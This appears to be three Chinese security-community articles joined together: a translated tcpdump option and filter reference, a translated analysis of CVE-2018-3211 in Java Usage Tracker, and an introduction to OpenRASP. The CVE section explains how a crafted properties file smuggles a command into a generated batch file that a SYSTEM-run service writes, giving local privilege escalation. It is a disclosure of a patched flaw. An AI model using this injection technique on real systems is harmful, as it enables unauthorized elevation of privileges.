[ -i interface ] [ -j tstamptype ] [ -M secret ] [ --number ]
[ -Q in|out|inout ]
[ -r file ] [ -s snaplen ] [ --time-stamp-precision precision ]
[ -T type ] [ --version ] [ -V file ]
[ -w file ] [ -W filecount ] [ -y datalinktype ] [ -z command ]
[ -Z user ] [ expression ]
**0x04 Tcpdump的超详细使用命令**
-A 以ASCII码方式显示每一个数据包(不会显示数据包中链路层头部信息). 在抓取包含
网页数据的数据包时, 可方便查看数据(nt: 即Handy for capturing web pages).
-c count
tcpdump将在接受到count个数据包后退出.
-C file-size
(nt: 此选项用于配合-w file 选项使用)
该选项使得tcpdump 在把原始数据包直接保存到文件中之前, 检查此文件大小是否超过file-size. 如果超过了, 将关闭此文件,
另创一个文件继续用于原始数据包的记录. 新创建的文件名与-w 选项指定的文件名一致, 但文件名后多了一个数字.
该数字会从1开始随着新创建文件的增多而增加. file-size的单位是百万字节(nt: 这里指1,000,000个字节,
并非1,048,576个字节, 后者是以1024字节为1k, 1024k字节为1M计算所得, 即1M=1024 ＊ 1024 ＝ 1,048,576)
-d 以容易阅读的形式,在标准输出上打印出编排过的包匹配码, 随后tcpdump停止.(nt | rt: human readable, 容易阅读的,
通常是指以ascii码来打印一些信息. compiled, 编排过的. packet-matching code, 包匹配码,含义未知, 需补充)
-dd 以C语言的形式打印出包匹配码.
-ddd 以十进制数的形式打印出包匹配码(会在包匹配码之前有一个附加的'count'前缀).
-D 打印系统中所有tcpdump可以在其上进行抓包的网络接口. 每一个接口会打印出数字编号, 相应的接口名字, 以及可能的一个网络接口
描述. 其中网络接口名字和数字编号可以用在tcpdump 的-i flag 选项(nt: 把名字或数字代替flag), 来指定要在其上抓包的网络
接口.
此选项在不支持接口列表命令的系统上很有用(nt: 比如, Windows 系统, 或缺乏 ifconfig -a 的UNIX系统); 接口的数字
编号在windows 2000 或其后的系统中很有用, 因为这些系统上的接口名字比较复杂, 而不易使用.
如果tcpdump编译时所依赖的libpcap库太老,-D 选项不会被支持, 因为其中缺乏 pcap_findalldevs()函数.
-e 每行的打印输出中将包括数据包的数据链路层头部信息
-E spi@ipaddr algo:secret,...
可通过spi@ipaddr algo:secret 来解密IPsec ESP包(nt | rt:IPsec Encapsulating Security Payload,
IPsec 封装安全负载, IPsec可理解为, 一整套对ip数据包的加密协议, ESP 为整个IP 数据包或其中上层协议部分被加密后的数据,
前者的工作模式称为隧道模式; 后者的工作模式称为传输模式 . 工作原理, 另需补充).
需要注意的是, 在终端启动tcpdump 时, 可以为IPv4 ESP packets 设置密钥(secret）.
可用于加密的算法包括des-cbc, 3des-cbc, blowfish-cbc, rc3-cbc, cast128-cbc, 或者没有(none).
默认的是des-cbc(nt: des, Data Encryption Standard, 数据加密标准, 加密算法未知, 另需补充).
secret 为用于ESP 的密钥, 使用ASCII 字符串方式表达. 如果以 0x 开头, 该密钥将以16进制方式读入.
该选项中ESP 的定义遵循RFC2406, 而不是 RFC1827. 并且, 此选项只是用来调试的, 不推荐以真实密钥(secret)来
使用该选项, 因为这样不安全: 在命令行中输入的secret 可以被其他人通过ps 等命令查看到.
除了以上的语法格式(nt: 指spi@ipaddr algo:secret), 还可以在后面添加一个语法输入文件名字供tcpdump 使用
(nt：即把spi@ipaddr algo:secret,... 中...换成一个语法文件名). 此文件在接受到第一个ESP 包时会打开此
文件, 所以最好此时把赋予tcpdump 的一些特权取消(nt: 可理解为, 这样防范之后, 当该文件为恶意编写时,
不至于造成过大损害).
-f 显示外部的IPv4 地址时(nt: foreign IPv4 addresses, 可理解为, 非本机ip地址), 采用数字方式而不是名字.
(此选项是用来对付Sun公司的NIS服务器的缺陷(nt: NIS, 网络信息服务, tcpdump 显示外部地址的名字时会
用到她提供的名称服务): 此NIS服务器在查询非本地地址名字时,常常会陷入无尽的查询循环).
由于对外部(foreign)IPv4地址的测试需要用到本地网络接口(nt: tcpdump 抓包时用到的接口)
及其IPv4 地址和网络掩码. 如果此地址或网络掩码不可用, 或者此接口根本就没有设置相应网络地址和网络
掩码(nt: linux 下的 'any' 网络接口就不需要设置地址和掩码, 不过此'any'接口可以收到系统中所有接口的
数据包), 该选项不能正常工作.
-F file
使用file 文件作为过滤条件表达式的输入, 此时命令行上的输入将被忽略.
-i interface
指定tcpdump 需要监听的接口. 如果没有指定, tcpdump 会从系统接口列表中搜寻编号最小的已配置好的接口(不包括 loopback 接口).
一但找到第一个符合条件的接口, 搜寻马上结束.
在采用2.2版本或之后版本内核的Linux 操作系统上, 'any' 这个虚拟网络接口可被用来接收所有网络接口上的数据包
(nt: 这会包括目的是该网络接口的, 也包括目的不是该网络接口的). 需要注意的是如果真实网络接口不能工作在'混杂'模式(promiscuous)下,
则无法在'any'这个虚拟的网络接口上抓取其数据包.
如果 -D 标志被指定, tcpdump会打印系统中的接口编号，而该编号就可用于此处的interface 参数.
-l 对标准输出进行行缓冲(nt: 使标准输出设备遇到一个换行符就马上把这行的内容打印出来).
在需要同时观察抓包打印以及保存抓包记录的时候很有用. 比如, 可通过以下命令组合来达到此目的:
``tcpdump -l | tee dat'' 或者 ``tcpdump -l > dat & tail -f dat''.
(nt: 前者使用tee来把tcpdump 的输出同时放到文件dat和标准输出中, 而后者通过重定向操作'>', 把tcpdump的输出放到
dat 文件中, 同时通过tail把dat文件中的内容放到标准输出中)
-L 列出指定网络接口所支持的数据链路层的类型后退出.(nt: 指定接口通过-i 来指定)
-m module
通过module 指定的file 装载SMI MIB 模块(nt: SMI，Structure of Management Information, 管理信息结构
MIB, Management Information Base, 管理信息库. 可理解为, 这两者用于SNMP(Simple Network Management Protoco)
协议数据包的抓取. 具体SNMP 的工作原理未知, 另需补充).
此选项可多次使用, 从而为tcpdump 装载不同的MIB 模块.
-M secret
如果TCP 数据包(TCP segments)有TCP-MD5选项(在RFC 2385有相关描述), 则为其摘要的验证指定一个公共的密钥secret.
-n 不对地址(比如, 主机地址, 端口号)进行数字表示到名字表示的转换.
-N 不打印出host 的域名部分. 比如, 如果设置了此选现, tcpdump 将会打印'nic' 而不是 'nic.ddn.mil'.
-O 不启用进行包匹配时所用的优化代码. 当怀疑某些bug是由优化代码引起的, 此选项将很有用.
-p 一般情况下, 把网络接口设置为非'混杂'模式. 但必须注意 , 在特殊情况下此网络接口还是会以'混杂'模式来工作； 从而, '-p' 的设与不设,
不能当做以下选现的代名词:
'ether host {local-hw-add}' 或 'ether broadcast'(nt: 前者表示只匹配以太网地址为host 的包, 后者表示匹配以太网地址为广播地址的数据包).
-q 快速(也许用'安静'更好?)打印输出. 即打印很少的协议相关信息, 从而输出行都比较简短.
-R 设定tcpdump 对 ESP/AH 数据包的解析按照 RFC1825而不是RFC1829(nt: AH, 认证头, ESP， 安全负载封装,
这两者会用在IP包的安全传输机制中). 如果此选项被设置, tcpdump 将不会打印出'禁止中继'域(nt: relay prevention field). 另外,
由于ESP/AH规范中没有规定ESP/AH数据包必须拥有协议版本号域,
所以tcpdump不能从收到的ESP/AH数据包中推导出协议版本号.
-r file
从文件file 中读取包数据. 如果file 字段为 '-' 符号, 则tcpdump 会从标准输入中读取包数据.
-S 打印TCP 数据包的顺序号时, 使用绝对的顺序号, 而不是相对的顺序号.(nt: 相对顺序号可理解为, 相对第一个TCP 包顺序号的差距,
比如, 接受方收到第一个数据包的绝对顺序号为232323, 对于后来接收到的第2个,第3个数据包, tcpdump会打印其序列号为1, 2分别
表示与第一个数据包的差距为1 和 2. 而如果此时-S 选项被设置, 对于后来接收到的第2个, 第3个数据包会打印出其绝对顺序号:
232324, 232325).
-s snaplen
设置tcpdump的数据包抓取长度为snaplen, 如果不设置默认将会是68字节(而支持网络接口分接头(nt: NIT, 上文已有描述,
可搜索'网络接口分接头'关键字找到那里)的SunOS系列操作系统中默认的也是最小值是96).
68字节对于IP, ICMP(nt: Internet Control Message Protocol,
因特网控制报文协议), TCP 以及 UDP 协议的报文已足够, 但对于名称服务(nt: 可理解为dns, nis等服务), NFS服务相关的
数据包会产生包截短. 如果产生包截短这种情况, tcpdump的相应打印输出行中会出现''[|proto]''的标志（proto 实际会显示为
被截短的数据包的相关协议层次). 需要注意的是, 采用长的抓取长度(nt: snaplen比较大), 会增加包的处理时间, 并且会减少
tcpdump 可缓存的数据包的数量， 从而会导致数据包的丢失. 所以, 在能抓取我们想要的包的前提下, 抓取长度越小越好.
把snaplen 设置为0 意味着让tcpdump自动选择合适的长度来抓取数据包.
-T type
强制tcpdump按type指定的协议所描述的包结构来分析收到的数据包. 目前已知的type 可取的协议为:
aodv (Ad-hoc On-demand Distance Vector protocol, 按需距离向量路由协议, 在Ad hoc(点对点模式)网络中使用),
cnfp (Cisco NetFlow protocol), rpc(Remote Procedure Call), rtp (Real-Time Applications protocol),
rtcp (Real-Time Applications con-trol protocol), snmp (Simple Network Management Protocol),
tftp (Trivial File Transfer Protocol, 碎文件协议), vat (Visual Audio Tool, 可用于在internet 上进行电
视电话会议的应用层协议), 以及wb (distributed White Board, 可用于网络会议的应用层协议).
-t 在每行输出中不打印时间戳
-tt 不对每行输出的时间进行格式处理(nt: 这种格式一眼可能看不出其含义, 如时间戳打印成1261798315)
-ttt tcpdump 输出时, 每两行打印之间会延迟一个段时间(以毫秒为单位)
-tttt 在每行打印的时间戳之前添加日期的打印
-u 打印出未加密的NFS 句柄(nt: handle可理解为NFS 中使用的文件句柄, 这将包括文件夹和文件夹中的文件)
-U 使得当tcpdump在使用-w 选项时, 其文件写入与包的保存同步.(nt: 即, 当每个数据包被保存时, 它将及时被写入文件中,
而不是等文件的输出缓冲已满时才真正写入此文件)
-U 标志在老版本的libcap库(nt: tcpdump 所依赖的报文捕获库)上不起作用, 因为其中缺乏pcap_cump_flush()函数.
-v 当分析和打印的时候, 产生详细的输出. 比如, 包的生存时间, 标识, 总长度以及IP包的一些选项. 这也会打开一些附加的包完整性
检测, 比如对IP或ICMP包头部的校验和.
-vv 产生比-v更详细的输出. 比如, NFS回应包中的附加域将会被打印, SMB数据包也会被完全解码.
-vvv 产生比-vv更详细的输出. 比如, telent 时所使用的SB, SE 选项将会被打印, 如果telnet同时使用的是图形界面,
其相应的图形选项将会以16进制的方式打印出来(nt: telnet 的SB,SE选项含义未知, 另需补充).
-w 把包数据直接写入文件而不进行分析和打印输出. 这些包数据可在随后通过-r 选项来重新读入并进行分析和打印.
-W filecount
此选项与-C 选项配合使用, 这将限制可打开的文件数目, 并且当文件数据超过这里设置的限制时, 依次循环替代之前的文件, 这相当
于一个拥有filecount 个文件的文件缓冲池. 同时, 该选项会使得每个文件名的开头会出现足够多并用来占位的0, 这可以方便这些
文件被正确的排序.
-x 当分析和打印时, tcpdump 会打印每个包的头部数据, 同时会以16进制打印出每个包的数据(但不包括连接层的头部).
总共打印的数据大小不会超过整个数据包的大小与snaplen 中的最小值. 必须要注意的是, 如果高层协议数据没有snaplen 这么长,
并且数据链路层(比如, Ethernet层)有填充数据, 则这些填充数据也会被打印.(nt: so for link layers that
pad, 未能衔接理解和翻译, 需补充 )
-xx tcpdump 会打印每个包的头部数据, 同时会以16进制打印出每个包的数据, 其中包括数据链路层的头部.
-X 当分析和打印时, tcpdump 会打印每个包的头部数据, 同时会以16进制和ASCII码形式打印出每个包的数据(但不包括连接层的头部).
这对于分析一些新协议的数据包很方便.
-XX 当分析和打印时, tcpdump 会打印每个包的头部数据, 同时会以16进制和ASCII码形式打印出每个包的数据, 其中包括数据链路层的头部.
这对于分析一些新协议的数据包很方便.
-y datalinktype
设置tcpdump 只捕获数据链路层协议类型是datalinktype的数据包
-Z user
使tcpdump 放弃自己的超级权限(如果以root用户启动tcpdump, tcpdump将会有超级用户权限), 并把当前tcpdump的
用户ID设置为user, 组ID设置为user首要所属组的ID(nt: tcpdump 此处可理解为tcpdump 运行之后对应的进程)
此选项也可在编译的时候被设置为默认打开.(nt: 此时user 的取值未知, 需补充)
**
**
**0x05 Tcpdump表达式详解**
该表达式用于决定哪些数据包将被打印.
如果不给定条件表达式, 网络上所有被捕获的包都会被打印,
否则, 只有满足条件表达式的数据包被打印.(nt: all packets, 可理解为, 所有被指定接口捕获的数据包).
表达式由一个或多个表达元组成(nt: primitive, 表达元, 可理解为组成表达式的基本元素).
一个表达元通常由一个或多个修饰符(qualifiers)后跟一个名字或数字表示的id组成(nt: 即, qualifiers id).
有三种不同类型的 修饰符:type, dir以及 proto.
type 修饰符指定id 所代表的对象类型, id可以是名字也可以是数字.
可选的对象类型有: host, net, port 以及portrange
(nt: host 表明id表示主机, net 表明id是网络, port 表明id是端口, 而portrange 表明id 是一个端口范围).
如, host foo, net 128.3, port 20, portrange 6000-6008
(nt: 分别表示主机 foo,网络 128.3, 端口 20, 端口范围 6000-6008).
如果不指定type 修饰符, id默认的修饰符为host.
dir 修饰符描述id 所对应的传输方向, 即发往id 还是从id 接收
（nt: 而id 到底指什么需要看其前面的type 修饰符）.
可取的方向为: src, dst, src 或 dst, src并且dst.
(nt:分别表示, id是传输源, id是传输目的, id是传输源或者传输目的, id是传输源并且是传输目的).
例如, src foo,
dst net 128.3, src or dst port ftp-data.
(nt: 分别表示符合条件的数据包中, 源主机是foo, 目的网络是128.3, 源或目的端口为 ftp-data).
如果不指定dir修饰符, id 默认的修饰符为src 或 dst.
对于链路层的协议,比如SLIP(nt: Serial Line InternetProtocol, 串联线路网际网络协议), 以及linux下指定
any 设备, 并指定cooked(nt | rt: cooked 含义未知, 需补充) 抓取类型, 或其他设备类型,
可以用inbound 和 outbount 修饰符来指定想要的传输方向.
proto 修饰符描述id 所属的协议. 可选的协议有:
ether, fddi, tr, wlan, ip, ip6, arp, rarp, decnet, tcp以及 upd.
(nt | rt: ether, fddi, tr, 具体含义未知, 需补充. 可理解为物理以太网传输协议, 光纤分布数据网传输协议,
以及用于路由跟踪的协议. wlan, 无线局域网协议; ip,ip6 即通常的TCP/IP协议栈中所使用的ipv4以及ipv6网络层协议;
arp, rarp 即地址解析协议, 反向地址解析协议; decnet, Digital Equipment Corporation
开发的, 最早用于PDP-11 机器互联的网络协议; tcp and udp, 即通常TCP/IP协议栈中的两个传输层协议).
例如, ether src foo, arp net 128.3, tcp port 21, udp portrange 7000-7009分别表示
从以太网地址foo 来的数据包,发往或来自128.3网络的arp协议数据包,
发送或接收端口为21的tcp协议数据包, 发送或接收端口范围为7000-7009的udp协议数据包.
如果不指定proto 修饰符, 则默认为与相应type匹配的修饰符. 例如, src foo 含义是
(ip or arp or rarp) src foo (nt: 即, 来自主机foo的ip/arp/rarp协议数据包, 默认type为host),net bar 含义是
(ip or arp or rarp) net bar(nt: 即, 来自或发往bar网络的ip/arp/rarp协议数据包),
port 53 含义是 (tcp or udp) port 53(nt: 即, 发送或接收端口为53的tcp/udp协议数据包).
(nt: 由于tcpdump 直接通过数据链路层的 BSD 数据包过滤器或 DLPI(datalink provider interface, 数据链层提供者接口)
来直接获得网络数据包, 其可抓取的数据包可涵盖上层的各种协议, 包括arp, rarp, icmp(因特网控制报文协议),
ip, ip6, tcp, udp, sctp(流控制传输协议).
对于修饰符后跟id 的格式,可理解为, type id 是对包最基本的过滤条件: 即对包相关的主机, 网络, 端口的限制;
dir 表示对包的传送方向的限制; proto表示对包相关的协议限制)
fddi(nt: Fiber Distributed Data Interface)
实际上与ether 含义一样: tcpdump 会把他们当作一种指定网络接口上的数据链路层协议.
如同ehter网(以太网), FDDI 的头部通常也会有源, 目的, 以及包类型, 从而可以像ether
网数据包一样对这些域进行过滤. 此外, FDDI 头部还有其他的域, 但不能被放到表达式中用来过滤
同样, tr 和 wlan 也和 ether 含义一致, 上一段对fddi 的描述同样适用于tr(Token Ring) 和
wlan(802.11 wireless LAN)的头部. 对于802.11 协议数据包的头部, 目的域称为DA, 源域称为 SA;
而其中的 BSSID, RA, TA 域(nt | rt: 具体含义需补充)不会被检测(nt: 不能被用于包过虑表达式中).
除以上所描述的表达元(primitive)， 还有其他形式的表达元, 并且与上述表达元格式不同.
比如: gateway, broadcast, less, greater
以及算术表达式(nt: 其中每一个都算一种新的表达元). 下面将会对这些表达元进行说明.
表达元之间还可以通过关键字and, or 以及 not 进行连接, 从而可组成比较复杂的条件表达式.
比如,host foo and not port ftp and not port ftp-data
(nt: 其过滤条件可理解为, 数据包的主机为foo,并且端口不是ftp(端口21) 和ftp-data
(端口20, 常用端口和名字的对应可在linux 系统中的/etc/service 文件中找到)).
为了表示方便, 同样的修饰符可以被省略, 如tcp dst port ftp or ftp-data or domain与以下的表达式
含义相同tcp dst port ftp or tcp dst port ftp-data or tcp dst port domain.
(nt: 其过滤条件可理解为, 包的协议为tcp, 目的端口为ftp 或 ftp-data 或 domain(端口53) ).
**0x06 Tcpdump常用命令实例**
默认启动
tcpdump
普通情况下，直接启动tcpdump将监视第一个网络接口上所有流过的数据包。
监听网卡eth0
tcpdump -i eth0
这个方式最简单了，但是用处不多，因为基本上只能看到数据包的信息刷屏，压根看不清，可以使用ctrl+c中断退出，如果真有需求，可以将输出内容重定向到一个文件，这样也更方便查看。
监听指定的主机
tcpdump -i eth0 -nn 'host 192.168.168.2'
这样的话，192.168.168.2这台主机接收到的包和发送的包都会被抓取。
tcpdump -i eth0 -nn 'src host 192.168.168.2'
这样只有192.168.168.2这台主机发送的包才会被抓取。
tcpdump -i eth0 -nn 'dst host 192.168.168.2'
这样只有192.168.168.2这台主机接收到的包才会被抓取。
监听指定端口
tcpdump -i eth0 -nnA 'port 80'
上例是用来监听主机的80端口收到和发送的所有数据包，结合-A参数，在web开发中，真是非常有用。
监听指定主机和端口
tcpdump -i eth0 -nnA 'port 80 and src host 192.168.168.2'
多个条件可以用and，or连接。上例表示监听192.168.168.2主机通过80端口发送的数据包。
监听除某个端口外的其它端口
tcpdump -i eth0 -nnA '!port 22'
如果需要排除某个端口或者主机，可以使用“!”符号，上例表示监听非22端口的数据包。
抓取特定目标ip和端口的包
tcpdump host 192.168.168.2 and tcp port 8000
捕获的数据太多，不断刷屏，可能需要将数据内容记录到文件里，需要使用-w参数：
tcpdump -X -s 0 -w A.cap host 192.168.168.2 and tcp port 8000
则将之前显示在屏幕中的内容，写入tcpdump可执行文件同级目录下的A.cap文件中。
文件查看方式如下，需要使用-r参数：
tcpdump -X -s 0 -r test.cap host 192.168.168.2 and tcp port 8000
使用tcpdump抓取HTTP包
tcpdump -XvvennSs 0 -i eth0 tcp[20:2]=0x4745 or tcp[20:2]=0x4854
0x4745 为"GET"前两个字母"GE",0x4854 为"HTTP"前两个字母"HT"。
tcpdump 对截获的数据并没有进行彻底解码，数据包内的大部分内容是使用十六进制的形式直接打印输出的。显然这不利于分析网络故障，通常的解决办法是先使用带-w参数的tcpdump
截获数据并保存到文件中，然后再使用其他程序(如Wireshark)进行解码分析。当然也应该定义过滤规则，以避免捕获的数据包填满整个硬盘。
**0x07 tcpdump 与wireshark**
Wireshark(以前是ethereal)是Windows下非常简单易用的抓包工具。但在Linux下很难找到一个好用的图形化抓包工具。
还好有Tcpdump。我们可以用Tcpdump + Wireshark 的完美组合实现：在 Linux 里抓包，然后在Windows 里分析包。
tcpdump tcp -i eth1 -t -s 0 -c 100 and dst port ! 22 and src net
192.168.1.0/24 -w ./target.cap
(1)tcp: ip icmp arp rarp 和 tcp、udp、icmp这些选项等都要放到第一个参数的位置，用来过滤数据报的类型
(2)-i eth1 : 只抓经过接口eth1的包
(3)-t : 不显示时间戳
(4)-s 0 : 抓取数据包时默认抓取长度为68字节。加上-S 0 后可以抓到完整的数据包
(5)-c 100 : 只抓取100个数据包
(6)dst port ! 22 : 不抓取目标端口是22的数据包
(7)src net 192.168.1.0/24 : 数据包的源网络地址为192.168.1.0/24
(8)-w ./target.cap : 保存成cap文件，方便用ethereal(即wireshark)分析 | 社区文章 |
# CVE-2018-3211：Java Usage Tracker本地提权漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：trendmicro.com
原文地址：<https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2018-3211-java-usage-tracker-local-elevation-of-privilege-on-windows/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
我们发现Java Usage
Tracker中存在设计缺陷（或者脆弱点），攻击者可以利用该缺陷创建任意文件、注入攻击者指定的参数以及提升本地权限。这些攻击手段也能组合使用实现权限提升，以便访问受影响系统中其他应用或者用户不能访问的某些保护资源。
我们通过[Zero Day
Initiative](https://www.zerodayinitiative.com/)与Oracle合作修复了这个漏洞，厂商已经在[10月份补丁](https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html)中推出了安全更新。因此，用户以及企业应当尽快安装补丁，更新Java版本。
在本文中，我们将深入研究该缺陷在Windows上的利用过程，介绍Java Usage Tracker的工作原理，给出了利用该漏洞所需满足的条件。
## 二、Java Usage Tracker
Java中有一个Java Usage Tracker（JUT）的功能，可以用来跟踪已部署Java的系统对Java的使用情况。JUT具备如下功能：
1、记录关于Java虚拟机（JVM）启动配置参数的相关信息。
2、将输出导出到日志文件中，或者重定向到某个UDP服务。
3、可以记录在JUT配置数据中指定的自定义属性的值。
JUT使用的配置文件名为`usagetracker.properties`。该文件使用的是全局默认位置，具体值取决于操作系统（OS）。比如，Windows上的默认路径为`%ProgramData%\Oracle\Java\`。`usagetracker`文件可以用来跟踪系统中已启动的所有JVM的使用情况。
`usagetracker.properties`示例文件内容如下图所示：
图1. `usagetracker.properties`示例文件部分内容
如图1中第9行所示，JUT会将信息记录到`global_javatracker.log`文件中。以安装Apache
Tomcat（一个开源的基于Java的工具）的过程为例，一旦该服务重启，就会创建`global_javatracker.log`文件，然后往文件中附加Java使用情况的跟踪数据。每次Tomcat服务启动时，新的跟踪信息都会附加到该文件结尾处。
跟踪数据示例如下图所示。注意其中的字段值会以逗号作为分隔符，分隔符由属性文件中的`separator`字段所决定。
图2. Tomcat的跟踪数据被附加到`global_javatracker.log`文件末尾
## 三、用户可控的参数
`usagetracker.properties`文件中有两个有趣的属性，可以用来控制JUT的具体行为：
* `oracle.usagetracker.logToFile`
* `oracle.usagetracker.additionalProperties`
`logTofile`属性允许用户在系统中选择任意日志文件路径。需要注意的是，日志文件会由正在被监控的JVM所创建。如果JVM以高权限运行，那么就可以在系统任意位置创建该文件。此外，文件的扩展名也不受限制（比如，可以创建名为`global_javatracker.bat`的日志文件）。
即使可以任意设置`logToFile`的路径，我们也无法控制文件内容，因为JVM只会利用现有的、非可控的数据来写入文件内容。然而，JUT有一个特殊的功能，可以从自定义属性中提取值。`additionalProperties`支持包含待跟踪的任意属性和其他自定义属性。具体样例如下图所示：
图3. 通过`additionalProperties`添加自定义属性
图4. 重启Tomcat服务后将跟踪数据写入文件中
如图4所示，该行的末尾附加了一个我们配置的待跟踪属性，其值为`null`（`com.anotherInterestingProperty=null`）。属性值为`null`，表明该属性并不存在。
我们有两种方法来控制JUT的行为：设置任意日志路径，以及设置任意自定义属性。这种组合貌似不大好用，但如果与其他安全漏洞或者缺陷结合起来，就能被充分利用。
## 四、利用自定义属性
举个例子说明如何利用自定义属性。如图5所示，之前配置文件的第9行会强制JUT创建一个`.bat`文件，然后添加自定义属性：`ping 172.0.1.1
>`。生成的相应文件为`global_javatracker.bat`，如图5所示。
图5. `global_javatracker.bat`中的自定义属性
图6. `global_javatracker.bat`正在执行
请注意其中附加的属性`ping 172.0.1.1 >=
null`。如果批处理文件`global_javatracker.bat`被执行，那么就会显示错误消息：`“VM start” is not
recognized`。之所以出现这个错误，是因为JUT的属性文件只生成一行数据，由分隔符切分各种字段（参考前面提到的`com.oracle.usagetracker.separator
= ,`，表明这里的分隔符为逗号）。
如果我们将分隔符改为换行符，则会生成不同的跟踪日志（如图8所示）。
图7. JUT采用换行分隔符（高亮部分）
图8. 使用新的分隔符后生成的跟踪日志
图8中所有的值都会在新的一行中表示，最后一行包含`ping 172.0.1.1 >=
null`语句。运行`global_javatracker.bat`会执行`ping 172.0.1.1 >=
null`语句，但由于这里存在双引号，因此该命令无法被识别。然而，我们还是有机会执行该命令，因为封装每个属性值的双引号实际上可以被另一个配置文件所控制，具体配置语句为`com.oracle.usagetracker.quote
= “`。
比如，我们可以创建一个值为空的`com.oracle.usagetracker.quote`配置，如图9所示：
图9. `com.oracle.usagetracker.quote`设置为空值
图10. 利用空值`com.oracle.usagetracker.quote`所生成的跟踪日志
运行`global_javatracker.bat`则会执行`ping 172.0.1.1 >=
null`命令，如图10中命令提示符（cmd）的最后一行语句，此时我们就可以创建一个`null`文件。
到目前为止，JUT可以用于如下操作：
1、在文件系统的任意位置创建文件；
2、创建文本脚本文件。前面例子中使用的是批处理文件，但我们可以利用它来创建其他类型的文件；
3、注入任意命令（或者与脚本文件相关的其他任意文本）。
我们可以在系统中的任意位置执行/创建如上操作或者脚本文件。然而，为了成功利用该漏洞，我们还需要满足一定条件：
1、应该在关键位置（比如自启动脚本）中创建恶意文件；
2、为了访问关键位置，应由高权限进程来创建恶意文件。
实际上这两个条件都可以满足。比如，非特权用户可以创建JUT配置文件（`usagetracker.properties`），而高权限进程可以创建恶意日志文件（跟踪日志）。
## 五、创建Java Usage Tracker日志文件
由于使用的是全局配置路径（比如Windows系统中对应的是`%ProgramData%\Oracle\Java`），当JVM在系统中启动时就会读取JUT日志文件。我们以默认安装的Tomcat举例说明。一旦Tomcat安装完毕，全局的`usagetracker.properties`准备就绪，重启Tomcat后就会创建跟踪日志文件（如图11所示）。如图12中所示，该文件由Tomcat服务创建，而该服务默认情况下以`System`权限运行。
由于Tomcat服务以`System`权限运行，因此恶意文件`global_javatracker.bat`可以在任意位置创建。然而，`usagetracker.properties`这个配置文件必须由非特权用户来创建。
图11. Tomcat安装后创建跟踪日志文件
图12. Tomcat以系统权限运行（高亮部分）
## 六、本地权限提升
JUT的全局配置文件会在默认的`%ProgramData%\Oracle\Java\`路径中创建。该位置以及初始配置内容由Java在安装阶段创建及设置，但也可以在执行Java命令（比如`java
-c`）时进行创建和设置。
默认权限下，系统中的用户可以在`%ProgramData%`位置创建文件。当Oracle/Java路径创建完毕后，也会继承默认权限。`%ProgramData%\Oracle\Java`的权限如图13所示。
这会影响Java的许多版本，可能会影响自引入JUT功能后的所有Java版本。
图13. `%ProgramData%\Oracle\Java\`目录权限
举个例子来说明利用场景：低权限用户可以创建恶意配置文件`usagetracker.properties`，由于Tomcat服务器以`System`权限运行，因此会在系统的任意位置中创建批处理文件。批处理文件中可以包含各种例程，比如往启动脚本位置写入数据等。
## 七、总结
我们可以通过各种方法，滥用Java Usage Tracker的功能来提升权限。我们的研究仅测试了Microsoft
Windows环境，但其他系统可能同样存在漏洞。
攻击者可以使用一系列设计缺陷来实现权限提升，这些缺陷可以当成不同类型的漏洞：
1、任意文件类型创建：可以通过`oracle.usagetracker.logToFile`路径来实现。比如，我们可以创建类似批处理文件之类的脚本文件。
2、参数注入：可以通过`oracle.usagetracker.additionalProperties`属性来实现。
3、本地权限提升：可以利用低权限的`%ProgramData%\Oracle\Java`来实现。 | 社区文章 |
最近在学习RASP相关内容，正好OpenRASP开源，大概分析了一下流程。参考了网上师傅们的分析加上自己的理解就有了这篇文章。如有错误或不足，还望指正。
## RASP技术
RASP，全称“Runtime application self-protection”，运行时应用程序自我保护技术。它通过JavaAgent将代码注入到某些方法中，与应用程序融为一体，使应用程序具备自我防护能力，当应用程序遭受到实际攻击伤害时，能实时检测和阻断安全攻击，而不需要进行人工干预。
### RASP与WAF的比较
WAF拦截原始http数据包，然后使用规则对数据包进行匹配扫描，如果不满足预设的所有规则，则视为安全，可通过WAF。这样就会造成规则缺失，放行危险行为；同时WAF只是对程序外层进行防护，当数据进入程序后，无法获取后续的行为。
WAF依靠特征检测攻击，但会造成一定的误报率，而RASP审查的是最终要执行的代码。
RASP插桩到代码层面，可以记录详细的栈堆跟踪信息
正是因为RASP需要侵入到代码层面，导致必然会造成一定的性能损耗，并且一个不合格的rasp更容易影响到业务代码
### DAST、SAST和IAST
DAST：动态应用程序安全测试（Dynamic Application Security
Testing）技术在测试或运行阶段分析应用程序的动态运行状态。它模拟黑客行为对应用程序进行动态攻击，分析应用程序的反应，从而确定该Web应用是否易受攻击。
SAST：静态应用程序安全测试（Static Application Security
Testing）技术通常在编码阶段分析应用程序的源代码或二进制文件的语法、结构、过程、接口等来发现程序代码存在的安全漏洞。
IAST：交互式应用程序安全测试（Interactive Application Security
Testing）是2012年Gartner公司提出的一种新的应用程序安全测试方案，通过代理、VPN或者在服务端部署Agent程序，收集、监控Web应用程序运行时函数执行、数据传输，并与扫描器端进行实时交互，高效、准确的识别安全缺陷及漏洞，同时可准确确定漏洞所在的代码文件、行数、函数及参数。IAST相当于是DAST和SAST结合的一种互相关联运行时安全检测技术。
### IAST与RASP
正如[Thoughtworks官网](https://www.thoughtworks.com/zh-cn/insights/decoder/i/iast-rasp)所描述的那样：
IAST：交互式应用程序安全测试。监控应用程序在运行时的安全漏洞——测试时间。
RASP：运行时应用程序自我保护。监控应用程序，以检测其运行时的攻击——生产时间。
IAST 和 RASP 是应用程序运行时寻找问题的安全工具。对于 IAST，作为测试过程的一部分，扫描漏洞。，RAST 检测生产环境中的攻击。
## OpenRASP
OpenRASP是百度在2017年针对RASP概念推出的一款开源免费的自适应安全产品，[官网](https://rasp.baidu.com/)。
这个项目使用v8引擎载入js并实现热加载，通过编写js规则对攻击进行检测，这一点还是比较吸引人的。
另一个引入JS的原因是OpenRASP会支持PHP、DotNet、NodeJS、Python、Ruby等多种开发语言，为了避免在不同平台上重新实现检测逻辑，所以引入了插件系统，选择JS作为插件开发语言。
这里我主要分析了对于Java版本的系统架构与具体的执行流程。
java 版本使用 javaagent 机制来实现。在服务器启动时，可动态的修改Java字节码，对敏感操作的函数进行hook，比如:
* 数据库操作
* 文件读取、写入操作
* 命令执行
* ...
当服务器发生攻击，就会触发这些Hook点，此时RASP agent就可以获取到函数的参数，比如要读取的文件名、要执行的命令等等。
